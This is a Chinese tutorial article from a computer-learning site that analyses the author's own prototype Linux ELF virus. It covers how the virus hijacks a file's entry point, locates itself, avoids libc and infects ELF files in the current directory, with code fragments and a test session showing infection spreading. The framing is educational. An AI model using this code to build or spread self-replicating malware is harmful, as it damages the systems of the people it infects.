文章收藏-FAQ 位置:电脑学习网

一个 Linux 病毒的原型分析

    这篇文章的目的主要是对最近写的一个Linux病毒原型代码做一个总结,同时向对这方面有兴趣的朋友做一个简单的介绍。
    阅读这篇文章你需要一些知识,要对ELF有所了解、能够阅读一些嵌入了汇编的C代码、了解病毒的基本工作原理。

   作者既不是一个virus coder,也不是anti-viruscoder,这篇文章旨通过对一个Linux的病毒原型的工作原理和关键环节的分析和介绍来让揭开病毒的神秘面纱,使您了解病毒的工作机理,也同时对理解Linux的系统编程有所帮助。

  剖析Linux病毒原型的工作过程和关键环节(1)
  一、介绍

    写这篇文章的目的主要是对最近写的一个Linux病毒原型代码做一个总结,同时向对这方面有兴趣的朋友做一个简单的介绍。阅读这篇文章你需要一些知识,要对ELF有所了解、能够阅读一些嵌入了汇编的C代码、了解病毒的基本工作原理。

  二、ELF Infector (ELF文件感染器)

  为了制作病毒文件,我们需要一个ELF文件感染器,用于制造第一个带毒文件。对于ELF文件感染技术,在Silvio   Cesare的《UNIX   ELF   PARASITES   AND   VIRUS》
  一文中已经有了一个非常好的分析、描述,在这方面我还没有发现可以对其进行补充的
  地方,因此在这里我把Silvio   Cesare对ELF   Infection过程的总结贴出来,以供参考:

  The   final   algorithm   is   using   this   information   is.
  *   Increase   p_shoff   by   PAGE_SIZE   in   the   ELF   header
  *   Patch   the   insertion   code   (parasite)   to   jump   to   the   entry   point
  (original)
  *   Locate   the   text   segment   program   header
  *   Modify   the   entry   point   of   the   ELF   header   to   point   to   the   new
  code   (p_vaddr   +   p_filesz)
  *   Increase   p_filesz   by   account   for   the   new   code   (parasite)
  *   Increase   p_memsz   to   account   for   the   new   code   (parasite)
  *   For   each   phdr   who’s   segment   is   after   the   insertion   (text   segment)
  *   increase   p_offset   by   PAGE_SIZE
  *   For   the   last   shdr   in   the   text   segment
  *   increase   sh_len   by   the   parasite   length
  *   For   each   shdr   who’s   section   resides   after   the   insertion
  *   Increase   sh_offset   by   PAGE_SIZE
  *   Physically   insert   the   new   code   (parasite)   and   pad   to   PAGE_SIZE,   into
  the   file   -   text   segment   p_offset   +   p_filesz   (original)

  在Linux病毒原型中所使用的gei   -   ELF   Infector即是根据这个原理写的。在
  附录中你可以看到这个感染工具的源代码:   g-elf-infector.c

  g-elf-infector与病毒是独立开的,其只在制作第一个病毒文件时被使用。我简单介
  绍一下它的使用方法,g-elf-infector.c可以被用于任何希望--将二进制代码插入到
  指定文件的文本段,并在目标文件执行时首先被执行--的用途上。g-elf-infector.c
  的接口很简单,你只需要提供以下三个定义:

  *   存放你的二进制代码返回地址的地址,这里需要的是这个地址与代码起始
  地址的偏移,用于返回到目标程序的正常入口
  #define   PARACODE_RETADDR_ADDR_OFFSET   1232

  *   要插入的二进制代码(由于用C编写,所以这里需要以一个函数的方式提供)
  void   parasite_code(void);

  *   二进制代码的结束(为了易用,这里用一个结尾函数来进行代码长度计算)
  void   parasite_code_end(void);

  parasite_code_end应该是parasite_code函数后的第一个函数定义,通常应该如下表示
  void   parasite_code(void)
  {
  ...
  ...
  ...
  }
  void   parasite_code_end(void)   {}

  在这里存在一个问题,就是编译有可能在编译时将parasite_code_end放在parasite_code
  地址的前面,这样会导致计算代码长度时失败,为了避免这个问题,你可以这样做
  void   parasite_code(void)
  {
  ...
  ...
  ...
  }
  void   parasite_code_end(void)   {parasite_code();}

  有了这三个定义,g-elf-infector就能正确编译,编译后即可用来ELF文件感染

  剖析Linux病毒原型的工作过程和关键环节   (2)

  三、   病毒原型的工作过程

  1   首先通过ELF   Infector将病毒代码感染到一个ELF文件,这样就创造了第一
  个带毒文件,后续的传播就由它来完成。

  2   当带毒文件被执行时,会首先跳到病毒代码开始执行。

  3   病毒代码开始发作,在这个原型里,病毒会直接开始传播。

  4   病毒遍历当前目录下的每一个文件,如果是符合条件的ELF文件就开始感染。

  5   病毒的感染过程和ELF   Infector的过程类似,但由于工作环境的不同,代码的实现也是有较大区别的。

  6   目前传染对ELF文件的基本要求是文本段要有剩余空间能够容纳病毒代码,如果无法满足,病毒会忽略此ELF。对于被感染过一次的ELF文件,文本段将不会有剩余的空间,因此二次感染是不会发生的。

  7   病毒代码执行过后,会恢复堆栈和所有寄存器(这很重要),然后跳回到真正的可执行文件入口,开始正常的运行过程。

  上面对病毒原型的工作过程的介绍也许显得千篇一律了,和我们早就熟知的关于病毒的一些介绍没有什么区别?是的,的确是这样,原理都是类似的,关键是要看实现。下面我们就将通过对一些技术问题的分析来了解具体的实现思路。

剖析Linux病毒原型的工作过程和关键环节   (3)

  四、   关键技术问题及处理

  1   ELF文件执行流程重定向和代码插入

  在ELF文件感染的问题上,ELF   Infector与病毒传播时调用的infect_virus思路是一样的:

  *   定位到文本段,将病毒的代码接到文本段的尾部。这个过程的关键是要熟悉
  ELF文件的格式,将病毒代码复制到文本段尾部后,能够根据需要调整文本段长度改变
  所影响到的后续段(segment)或节(section)的虚拟地址。同时注意把新引入的文本段部
  分与一个.setion建立关联,防止strip这样的工具将插入的代码去除。还有一点就是要
  注意文本段增加长度的对齐问题,见ELF文档中的描述:
  p_align
  As   ``Program   Loading’’   later   in   this   part   describes,   loadable
  process   segments   must   have   congruent   values   for   p_vaddr   and
  p_offset,   modulo   the   page   size.

  *   通过过将ELF文件头中的入口地址修改为病毒代码地址来完成代码重定向:
  /*   Modify   the   entry   point   of   the   ELF   */
  org_entry   =   ehdr-〉e_entry;
  ehdr-〉e_entry   =   phdr[txt_index].p_vaddr   +   phdr[txt_index].p_filesz;

  2   病毒代码如何返回到真正的ELF文件入口

  方法技巧应该很多,这里采用的方法是PUSH+RET组合:
  __asm__   volatile   (
  ...
  “return:\n\t“
  “push   $0xAABBCCDD\n\t“   /*   push   ret_addr   */
  “ret\n“
  ::);
  其中0xAABBCCDD处存放的是真正的程序入口地址,这个值在插入病毒代码时由感染程
  序来填写。

  剖析Linux病毒原型的工作过程和关键环节   (4)

  3   堆栈和寄存器的恢复

  病毒代码必须保证运行前、后的堆栈和寄存器内容完全相同,这通过增加额外的代码
  来完成。
  在进入时:
  __asm__   volatile   (
  “push   %%eax\n\t“
  “push   %%ecx\n\t“
  “push   %%edx\n\t“
  ::);
  退出时:
  __asm__   volatile   (
  “popl   %%edx\n\t“
  “popl   %%ecx\n\t“
  “popl   %%eax\n\t“
  “addl   $0x102c,   %%esp\n\t“
  “popl   %%ebx\n\t“
  “popl   %%esi\n\t“
  “popl   %%edi\n\t“
  “popl   %%ebp\n\t“
  “jmp   return\n“

  要注意上面的代码是根据特定的编译器、编译选项来调整的,在不同的环境下如果重
  新编译病毒程序,可能还需要做一些调整。

  4   字符串的使用

  write(1,   “hello   world\n“,   12);
  在病毒代码中这样对一个字符串直接引用是不可以的。这是对字符串的使用是一个绝
  对地址引用,病毒代码在进入到一个新的宿主内后,这一绝对地址的内容是无法得到
  保证的,因此在病毒代码内应该使用相对地址或间接地址进行字符串访问。
  下面是Silvio   Cesare的《UNIX   ELF   PARASITES   AND   VIRUS》中的一个解决办法,利用
  了缓冲区溢出中shellcode的编写技术:
  In   x86   Linux,   some   syscalls   require   the   use   of   an   absolute   address   pointing   to   initialized   data.   This   can   be   made   relocatable   by   using   a   common   trick   used
  in   buffer   overflow   code.

  jmp   A
  B:
  pop   %eax   ;   %eax   now   has   the   address   of   the   string
  .   ;   continue   as   usual
  .
  .

  A:
  call   B
  .string   \“hello\“
  By   making   a   call   directly   proceeding   the   string   of   interest,   the   address   of
  the   string   is   pushed   onto   the   stack   as   the   return   address.

  但是在编写这个linux病毒原型代码时,我并没有使用这个方法,我尽力使代码使用
  C语言的语法:
  char   tmpfile[32]   =   {’/’,’t’,’m’,’p’,’/’,’.’,’g’,’v’,’i’,’r’,’u’,’s’,’\0’};

  #ifndef   NDEBUG
  char   err_type[32]   =   {’f’,’i’,’l’,’e’,’   ’,’t’,’y’,’p’,’e’,’   ’,’n’,’o’,’t’,’   ’,
  ’s’,’u’,’p’,’p’,’o’,’r’,’t’,’e’,’d’,’\n’,’\0’};
  char   luck[32]   =   {’B’,’e’,’t’,’t’,’e’,’r’,’   ’,’l’,’u’,’c’,’k’,’   ’,
  ’n’,’e’,’x’,’t’,’   ’,’f’,’i’,’l’,’e’,’\n’,’\0’};
  #endif

  在这里将字符串以字符数组的形式出现,编译之后的代码是这样:
  ...
  movb   $47,   -8312(%ebp)
  movb   $116,   -8311(%ebp)
  movb   $109,   -8310(%ebp)
  movb   $112,   -8309(%ebp)
  movb   $47,   -8308(%ebp)
  movb   $46,   -8307(%ebp)
  movb   $103,   -8306(%ebp)
  movb   $118,   -8305(%ebp)
  movb   $105,   -8304(%ebp)
  movb   $114,   -8303(%ebp)
  movb   $117,   -8302(%ebp)
  movb   $115,   -8301(%ebp)
  ...
  这样带来一个负面影响就是增加了代码长度,但是适当的使用对代码长度影响并不大。   值得注意的一点是,当字符数组定义的尺寸超过了64时,在我的编译环境下,编译器
  对代码进行了优化,会导致编译后代码成为:
  ...
  .section.   rodata
  .LC0:
  .byte   47
  .byte   116
  .byte   109
  .byte   112
  .byte   47
  .byte   46
  .byte   103
  .byte   118
  .byte   105
  .byte   114
  .byte   117
  .byte   115
  .byte   0


  数据被放到了.rodata   section中,这样就使得其无法随病毒代码一起进入宿主,会
  造成访问失败,所以注意数组的申请尽量保持32以内,防止编译器优化。

  除此之外,使用整型数组的方法也与此类似,不再赘述。

  剖析Linux病毒原型的工作过程和关键环节   (5)
  5   遭遇gcc-3.3的bug

  gvirus.c中有一部分的数据初始化是这样的:
  ...
  char   curdir[2]   =   {’.’,   0};
  char   newline   =   ’\n’;

  curdir[0]   =   ’.’;
  curdir[1]   =   0;
  newline   =   ’\n’;

  if   ((curfd   =   g_open(curdir,   O_RDONLY,   0))   〈   0)
  goto   out;
  ...

  也许你会奇怪,为什么curdir和newline在已经初始化后还要重新赋值,这其中的原因
  是为了绕过一个gcc的bug。
  在我的编译环境下,当只做
  char   curdir[2]   =   {’.’,   0};
  char   newline   =   ’\n’;
  这样的初始化时,反汇编代码如下:
  ...
  0x08048cb0   :   push   %ebp
  0x08048cb1   :   push   %edi
  0x08048cb2   :   push   %esi
  0x08048cb3   :   push   %ebx
  0x08048cb4   :   sub   $0x20bc,%esp
  0x08048cba   :   push   %eax
  0x08048cbb   :   push   %ecx
  0x08048cbc   :   push   %edx
  0x08048cbd   :   xor   %ecx,%ecx
  0x08048cbf   :   lea   0x4e(%esp),%ebx   〈.使用curdir
  0x08048cc3   :   mov   $0x5,%eax
  0x08048cc8   :   mov   %ecx,%edx
  0x08048cca   :   int   $0x80   〈.g_open系统调用
  0x08048ccc   :   mov   %eax,0x38(%esp)
  0x08048cd0   :   cmp   $0xffffff82,%eax
  0x08048cd3   :   jbe   0x8048cdd
  0x08048cd5   :   movl   $0xffffffff,0x38(%esp)
  0x08048cdd   :   mov   0x38(%esp),%eax
  0x08048ce1   :   test   %eax,%eax
  0x08048ce3   :   js   0x804915d
  0x08048ce9   :   movw   $0x2e,0x4e(%esp)   〈.curdir的初始化
  ...
  从注释可以看出,在这种情况下,curdir的初始化被放到了g_open使用其做参数之后。

  当加入
  curdir[0]   =   ’.’;
  curdir[1]   =   0;
  newline   =   ’\n’;
  后,反汇编代码如下:
  ...
  0x08048cb0   :   push   %ebp
  0x08048cb1   :   push   %edi
  0x08048cb2   :   push   %esi
  0x08048cb3   :   push   %ebx
  0x08048cb4   :   sub   $0x20bc,%esp
  0x08048cba   :   push   %eax
  0x08048cbb   :   push   %ecx
  0x08048cbc   :   push   %edx
  0x08048cbd   :   xor   %ecx,%ecx
  0x08048cbf   :   movw   $0x2e,0x4e(%esp)   〈.curdir的初始化
  0x08048cc6   :   lea   0x4e(%esp),%ebx   〈.作为参数使用
  0x08048cca   :   mov   $0x5,%eax
  0x08048ccf   :   mov   %ecx,%edx
  0x08048cd1   :   int   $0x80   〈.g_open系统调用
  ...
  从注释可以看出,加入了这段代码后,程序编译正确,避免了这个编译器bug。

  剖析Linux病毒原型的工作过程和关键环节   (6)

  6   通过C语言和inline保证病毒代码的可读性和可移植性

  用汇编写病毒代码的一个缺点就是   -   可读性和可移植性差,这也是使用汇编语言写
  程序的一个普遍的缺点。
  在这个linux病毒原型代码了主体使用的都是C语言,只有极少部分由于C语言本身的
  限制而不得不使用gcc嵌入汇编。对于C语言部分,也尽量是用inline函数,保证代码
  层次分明,保证可读性。

  7   病毒代码复制时如何获得自己的起始地址?

  虽然,病毒代码部分向ELF   Infector提供了代码的起始地址,保证了生成第一个带毒
  文件时能够找到代码并插入到目标文件内。但是作为进入宿主内部的代码在进行传播
  时却无法使用这个地址,因为它的代码位置已经受到了宿主的影响,这时它需要重新
  定位自己的起始位置。

  在写这个病毒原型时,我并没有参考过其它病毒的代码,因此这里采用的也许并
  不是一个最好的方法:

  /*   Get   start   address   of   virus   code   */
  __asm__   volatile   (
  “jmp   get_start_addr\n“
  “infect_start:\n\t“
  “popl   %0\n\t“
  :“=m“   (para_code_start_addr)
  :);
  para_code_start_addr   -=   PARACODE_RETADDR_ADDR_OFFSET   -   1;

  ...   /*   c代码   */
  ...

  __asm__   volatile   (
  ...
  “get_start_addr:\n\t“
  “call   infect_start\n“
  “return:\n\t“
  “push   $0xAABBCCDD\n\t“   /*   push   ret_addr   */
  “ret\n“
  ::);

  通过缓冲区溢出中的一个技巧,jmp/call组合来得到push   $0xAABBCCDD指令的地址。
  这个地址是0xAABBCCDD地址向后一个push指令,而0xAABBCCDD的地址就是那个用于
  存放病毒代码返回地址的地址,这个地址相对于病毒代码起始地址的偏移我们是知道
  的,就是病毒代码函数向ELF   Infector接口提供的那个宏定义的值:
  #ifndef   NDEBUG
  #define   PARACODE_RETADDR_ADDR_OFFSET   1704
  #else
  #define   PARACODE_RETADDR_ADDR_OFFSET   1232
  #endif

  这样病毒代码在当前宿主中的位置就可以得到了(注意从汇编指令出来后,
  para_code_start_addr中存放的是0xAABBCCDD的地址,我们减去偏移再减
  一个push指令的长度,就是病毒代码的起始地址):

  para_code_start_addr   -=   PARACODE_RETADDR_ADDR_OFFSET   -   1;

  剖析Linux病毒原型的工作过程和关键环节   (7)

  8   抛弃C库

  由于病毒代码要能在不同的ELF文件内容工作,所以我们必须要保证所有的相关函数
  调用在病毒体内即可完成。而对C库的使用将使我们很难做到这一点,即使有的C库函
  数是可以完全内联的(完全内联就是说,这个函数本身可以内联,同时其内部没有向
  外的函数调用),但是随着编译环境的不同,这点也是不能得到根本保证的,因此我
  们有必要选择抛弃C库。

  没有了C库,我们使用到的一些函数调用就必须重新实现。在这个Linux病毒原型中有
  两种情况,一种是系统调用,另一种是普通的函数。

  对于系统调用,我们采用了重新包装的方法:
  static   inline
  g_syscall3(int,   write,   int,   fd,   const   void   *,   buf,   off_t,   count);
  static   inline
  g_syscall3(int,   getdents,   uint,   fd,   struct   dirent   *,   dirp,   uint,   count);
  static   inline
  g_syscall3(int,   open,   const   char   *,   file,   int,   flag,   int,   mode);
  static   inline
  g_syscall1(int,   close,   int,   fd);
  static   inline
  g_syscall6(void   *,   mmap2,   void   *,   addr,   size_t,   len,   int,   prot,
  int,   flags,   int,   fd,   off_t,   offset);
  static   inline
  g_syscall2(int,   munmap,   void   *,   addr,   size_t,   len);
  static   inline
  g_syscall2(int,   rename,   const   char   *,   oldpath,   const   char   *,   newpath);
  static   inline
  g_syscall2(int,   fstat,   int,   filedes,   struct   stat   *,   buf);

  并且修改了syscall包装的宏定义,如
  #define   g__syscall_return(type,   res)   \
  do   {   \
  if   ((unsigned   long)(res)   〉=   (unsigned   long)(-125))   {   \
  res   =   -1;   \
  }   \
  return   (type)   (res);   \
  }   while   (0)

  #define   g_syscall0(type,name)   \
  type   g_##name(void)   \
  {   \
  long   __res;   \
  __asm__   volatile   (“int   $0x80“   \
  :   “=a“   (__res)   \
  :   “0“   (__NR_##name));   \
  g__syscall_return(type,__res);   \
  }

  对于普通的函数,直接复制一份函数定义:
  static   inline   void   *   __memcpy(void   *   to,   const   void   *   from,   size_t   n)
  {
  int   d0,   d1,   d2;
  __asm__   __volatile__(
  “rep   ;   movsl\n\t“
  “testb   $2,%b4\n\t“
  “je   1f\n\t“
  “movsw\n“
  “1:\ttestb   $1,%b4\n\t“
  “je   2f\n\t“
  “movsb\n“
  “2:“
  :   “=&c“   (d0),   “=&D“   (d1),   “=&S“   (d2)
  :“0“   (n/4),   “q“   (n),“1“   ((long)   to),“2“   ((long)   from)
  :   “memory“);
  return   (to);
  }
剖析Linux病毒原型的工作过程和关键环节   (8)

  9   保证病毒代码的瘦身需要

  为了保证病毒代码体积不至于过于庞大,影响病毒代码的感染,编写代码时也要注意
  代码体积问题。由于采用C代码的方式,一些函数调用都是内联的方式,因此每多一个
  调用都会引起代码体积的增加。
  在进行ELF文件读写更是如此,read/write被频繁的调用。为了减小这方面的影响,对
  目标ELF文件进行了一个mmap处理,这样地址空间直接被映射到文件,就消除了读目标
  文件时所要做的read调用,节省了一些空间:

  ehdr   =   g_mmap2(0,   stat.st_size,   PROT_WRITE|PROT_READ,   MAP_SHARED,   fd,   0);
  if   (ehdr   ==   MAP_FAILED)   {
  goto   err;
  }

  /*   Check   ELF   magic-ident   */
  if   (ehdr-〉e_ident[EI_MAG0]   !=   0x7f
  ||   ehdr-〉e_ident[EI_MAG1]   !=   ’E’
  ||   ehdr-〉e_ident[EI_MAG2]   !=   ’L’
  ||   ehdr-〉e_ident[EI_MAG3]   !=   ’F’
  ||   ehdr-〉e_ident[EI_CLASS]   !=   ELFCLASS32
  ||   ehdr-〉e_ident[EI_DATA]   !=   ELFDATA2LSB
  ||   ehdr-〉e_ident[EI_VERSION]   !=   EV_CURRENT
  ||   ehdr-〉e_type   !=   ET_EXEC
  ||   ehdr-〉e_machine   !=   EM_386
  ||   ehdr-〉e_version   !=   EV_CURRENT
  )   {
  V_DEBUG_WRITE(1,   &err_type,   sizeof(err_type));
  goto   err;
  }

  当前的代码都是用C编写,这样很难象汇编代码那样进行更高程度的精简,不过目前的
  代码体积还在合理的范围,
  在调试状态和标准状态分别是1744和1248
  #ifndef   NDEBUG
  #define   PARACODE_LENGTH   1744
  #else
  #define   PARACODE_LENGTH   1248
  #endif

  10   数据结构的不一致

  与C库的代码调用类似,我们使用的头文件中有一些数据类型的定义是经过
  包装的,与系统调用中使用的并不相同。代码相关的两个数据结构,单独提取了出来。

  struct   dirent   {
  long   d_ino;
  unsigned   long   d_off;
  unsigned   short   d_reclen;
  char   d_name[256];   /*   We   must   not   include   limits.h!   */
  };

  struct   stat   {
  unsigned   long   st_dev;
  unsigned   long   st_ino;
  unsigned   short   st_mode;
  unsigned   short   st_nlink;
  unsigned   short   st_uid;
  unsigned   short   st_gid;
  unsigned   long   st_rdev;
  unsigned   long   st_size;
  unsigned   long   st_blksize;
  unsigned   long   st_blocks;
  unsigned   long   st_atime;
  unsigned   long   st_atime_nsec;
  unsigned   long   st_mtime;
  unsigned   long   st_mtime_nsec;
  unsigned   long   st_ctime;
  unsigned   long   st_ctime_nsec;
  unsigned   long   __unused4;
  unsigned   long   __unused5;
  };

  剖析Linux病毒原型的工作过程和关键环节   (9)

  五、   新编译环境下的调试方法

  grip2@linux:~/tmp/virus〉   ls
  g-elf-infector.c   gsyscall.h   gunistd.h   gvirus.c   gvirus.h   foo.c   Makefile   parasite-sample.c   parasite-sample.h

  调整Makefile文件,将编译模式改为调试模式,即关掉-DNDEBUG选项
  grip2@linux:~/tmp/virus〉   cat   Makefile
  all:   foo   gei
  gei:   g-elf-infector.c   gvirus.o
  gcc   -O2   $〈   gvirus.o   -o   gei   -Wall   #-DNDEBUG
  foo:   foo.c
  gcc   $〈   -o   foo
  gvirus.o:   gvirus.c
  gcc   $〈   -O2   -c   -o   gvirus.o   -fomit-frame-pointer   -Wall   #-DNDEBUG
  clean:
  rm   *.o   -rf
  rm   foo   -rf
  rm   gei   -rf

  编译代码
  grip2@linux:~/tmp/virus〉   make
  gcc   foo.c   -o   foo
  gcc   gvirus.c   -O2   -c   -o   gvirus.o   -fomit-frame-pointer   -Wall   #-DNDEBUG
  gcc   -O2   g-elf-infector.c   gvirus.o   -o   gei   -Wall   #-DNDEBUG

  先获取病毒代码长度,然后调整gvirus.c中的#define   PARACODE_LENGTH定义
  grip2@linux:~/tmp/virus〉.   /gei   -l   〈.这里获取病毒代码的长度
  Parasite   code   length:   1744

  获取病毒代码开始位置和0xaabbccdd的地址,计算存放返回地址的地址的偏移
  grip2@linux:~/tmp/virus〉   objdump   -d   gei|grep   aabbccdd
  8049427:   68   dd   cc   bb   aa   push   $0xaabbccdd
  grip2@linux:~/tmp/virus〉   objdump   -d   gei|grep   ““
  08048d80   :
  8049450:   e9   2b   f9   ff   ff   jmp   8048d80
  grip2@linux:~/tmp/virus〉   objdump   -d   gei|grep   “:“
  08048d80   :

  0x8049427与0x8048d80相减即获得我们需要的偏移,
  用这个值更新gvirus.h中的#define   PARACODE_RETADDR_ADDR_OFFSET宏的值

  重新编译
  grip2@linux:~/tmp/virus〉   make   clean
  rm   *.o   -rf
  rm   foo   -rf
  rm   gei   -rf
  grip2@linux:~/tmp/virus〉   make
  gcc   foo.c   -o   foo
  gcc   gvirus.c   -O2   -c   -o   gvirus.o   -fomit-frame-pointer   -Wall   #-DNDEBUG
  gcc   -O2   g-elf-infector.c   gvirus.o   -o   gei   -Wall   #-DNDEBUG

  grip2@linux:~/tmp/virus〉   ls
  gei   gsyscall.h   gvirus.c   gvirus.o   foo.c   parasite-sample.c
  g-elf-infector.c   gunistd.h   gvirus.h   foo   Makefile   parasite-sample.h

  建立一个测试目录,测试一下
  grip2@linux:~/tmp/virus〉   mkdir   test
  grip2@linux:~/tmp/virus〉   cp   gei   foo   test
  grip2@linux:~/tmp/virus〉   cd   test
  grip2@linux:~/tmp/virus/test〉   ls
  gei   foo
  grip2@linux:~/tmp/virus/test〉   cp   foo   h

  制作带毒程序
  grip2@linux:~/tmp/virus/test〉.   /gei   h
  file   size:   8668
  e_phoff:   00000034
  e_shoff:   00001134
  e_phentsize:   00000020
  e_phnum:   00000008
  e_shentsize:   00000028
  e_shnum:   00000025
  text   segment   file   offset:   0
  [15   sections   patched]
  grip2@linux:~/tmp/virus/test〉   ll
  total   44
  -rwxr-xr-x   1   grip2   users   14211   2004-12-13   07:50   gei
  -rwxr-xr-x   1   grip2   users   12764   2004-12-13   07:51   h
  -rwxr-xr-x   1   grip2   users   8668   2004-12-13   07:50   foo

  运行带毒程序
  grip2@linux:~/tmp/virus/test〉.   /h
  .
  ..
  gei
  foo
  h
  .backup.h
  real   elf   point
  grip2@linux:~/tmp/virus/test〉   ll
  total   52
  -rwxr-xr-x   1   grip2   users   18307   2004-12-13   07:51   gei
  -rwxr-xr-x   1   grip2   users   12764   2004-12-13   07:51   h
  -rwxr-xr-x   1   grip2   users   12764   2004-12-13   07:51   foo

  测试上面带毒程序运行后,是否感染了其他ELF程序
  grip2@linux:~/tmp/virus/test〉.   /foo
  .
  ..
  gei
  Better   luck   next   file
  foo
  h
  Better   luck   next   file
  .backup.h
  Better   luck   next   file
  real   elf   point

  OK,成功
  grip2@linux:~/tmp/virus/test〉   cp.   ./foo   hh
  grip2@linux:~/tmp/virus/test〉   ll
  total   64
  -rwxr-xr-x   1   grip2   users   18307   2004-12-13   07:51   gei
  -rwxr-xr-x   1   grip2   users   12764   2004-12-13   07:51   h
  -rwxr-xr-x   1   grip2   users   8668   2004-12-13   07:51   hh
  -rwxr-xr-x   1   grip2   users   12764   2004-12-13   07:51   foo

  grip2@linux:~/tmp/virus/test〉.   /foo
  .
  ..
  gei
  Better   luck   next   file
  foo
  h
  Better   luck   next   file
  .backup.h
  Better   luck   next   file
  hh
  real   elf   point
  grip2@linux:~/tmp/virus/test〉
    
  六、总结     
    
  由于我既不是一个virus   coder也不是一个anti-viruscoder,所以对病毒技术的掌握应该是有欠缺的。如果在文章中对病毒技术的描述不够准确,分析不够到位,还请指正,谢谢。

     [文章来源:“十万个为什么”电脑学习网]
     [网络地址:http://why100000.com]
     [版权声明:除本站部分特别声明禁止转载的专稿外,其他的文章可以自由转载,但请务必注明出处和原始作者。本站文章版权归文章原作者所有。如果本站转载的文章有版权问题请联系本站,我们会尽快予以更正。]
 

【字体:[大] [中] [小] 【加入收藏】 【发表评论】 【关闭本窗口】

Copyright © “十万个为什么”电脑学习网 2000-2007 陕ICP备06007929号
站务联系:MSN & Email:zhangking2008@gmail.com  QQ:9365822